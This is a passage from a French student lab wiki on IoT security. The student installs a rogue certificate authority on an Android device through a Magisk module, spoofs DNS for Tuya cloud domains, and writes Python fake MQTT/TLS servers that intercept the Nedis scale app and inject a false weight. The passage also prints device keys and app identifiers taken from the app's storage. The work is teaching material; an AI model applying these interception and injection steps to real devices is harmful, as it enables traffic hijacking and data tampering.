Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poids vers l'application de Nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM android une clé local qui permettrai de chiffrer le message pour que Nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
